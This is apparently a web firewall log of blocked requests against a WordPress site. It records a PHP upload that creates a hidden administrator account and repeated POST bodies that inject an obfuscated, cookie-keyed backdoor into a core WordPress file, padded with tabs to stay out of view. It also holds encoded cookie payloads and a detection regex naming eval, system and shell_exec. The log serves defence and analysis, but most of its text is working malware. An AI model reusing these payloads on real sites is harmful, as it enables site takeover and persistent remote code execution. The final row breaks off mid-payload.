["2026-05-12 14:03:47","70.35.197.192","POST","\/wp-content\/plugins\/gfrmz\/index.php","Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/gfrmz\/index.php HTTP\/1.1\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\ncontent-type:multipart\/form-data; boundary=c727ca2bcf64f56030bbeaef176e9732\ncontent-length:1608\nuser-agent:Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36\nhost:dewenlabels.com\n\n--c727ca2bcf64f56030bbeaef176e9732\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--c727ca2bcf64f56030bbeaef176e9732\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--c727ca2bcf64f56030bbeaef176e9732\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--c727ca2bcf64f56030bbeaef176e9732\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--c727ca2bcf64f56030bbeaef176e9732\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--c727ca2bcf64f56030bbeaef176e9732\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"ovacjazzc.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\r\n\/**\r\n * Manual Admin Creator - Fixed Logic\r\n *\/\r\n\r\n\/\/ 1. Dynamic pathing to find WordPress root\r\n$wp_path = $_SERVER['DOCUMENT_ROOT'] . '\/wp-load.php';\r\n\r\nif (file_exists($wp_path)) {\r\n    require_once($wp_path);\r\n} else {\r\n    \/\/ Fallback for subdirectories\r\n    require_once('wp-blog-header.php');\r\n}\r\n\r\nrequire_once(ABSPATH . 'wp-includes\/registration.php');\r\n\r\n\/\/ 2. Updated Config Variables\r\n$newusername = 'XOR';\r\n$newpassword = 'XOR48';\r\n$newemail    = 'xor@palestine.com';\r\n\r\n\/\/ 3. Execution Logic\r\nif (!username_exists($newusername) && !email_exists($newemail)) {\r\n    $user_id = wp_create_user($newusername, $newpassword, $newemail);\r\n    \r\n    if (is_int($user_id)) {\r\n        $wp_user_object = new WP_User($user_id);\r\n        $wp_user_object->set_role('administrator');\r\n        echo 'Successfully created admin user: ' . $newusername;\r\n    } else {\r\n        echo 'Error: Could not create user.';\r\n    }\r\n} else {\r\n    echo 'User already exists.';\r\n}\r\n--c727ca2bcf64f56030bbeaef176e9732--\r\n"]
["2026-05-12 14:39:28","202.92.6.73","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B16%252B-16%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-56%252B59%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62%252B-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524component%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d01f10b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524record%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524itm%2520%253D%2520%2522e7578ab4d547fd4cf6b549c775968a2e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524itm%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4301\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFxxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-dest:document\n\nJI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B16%252B-16%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-56%252B59%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62%252B-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524component%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d01f10b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524record%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524itm%2520%253D%2520%2522e7578ab4d547fd4cf6b549c775968a2e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524itm%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:39:33","167.71.226.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B16%252B-16%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-56%252B59%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62%252B-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524component%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d01f10b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524record%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524itm%2520%253D%2520%2522e7578ab4d547fd4cf6b549c775968a2e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524itm%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4301\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHSNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-dest:document\n\nPP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B16%252B-16%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-56%252B59%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62%252B-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524component%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d01f10b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524record%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524itm%2520%253D%2520%2522e7578ab4d547fd4cf6b549c775968a2e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524itm%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:39:50","163.172.31.86","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Zh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B16%252B-16%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-56%252B59%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62%252B-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524component%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d01f10b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524record%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524itm%2520%253D%2520%2522e7578ab4d547fd4cf6b549c775968a2e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524itm%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4301\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJztvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-dest:document\n\nZh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B16%252B-16%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-56%252B59%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62%252B-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524component%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d01f10b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524record%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520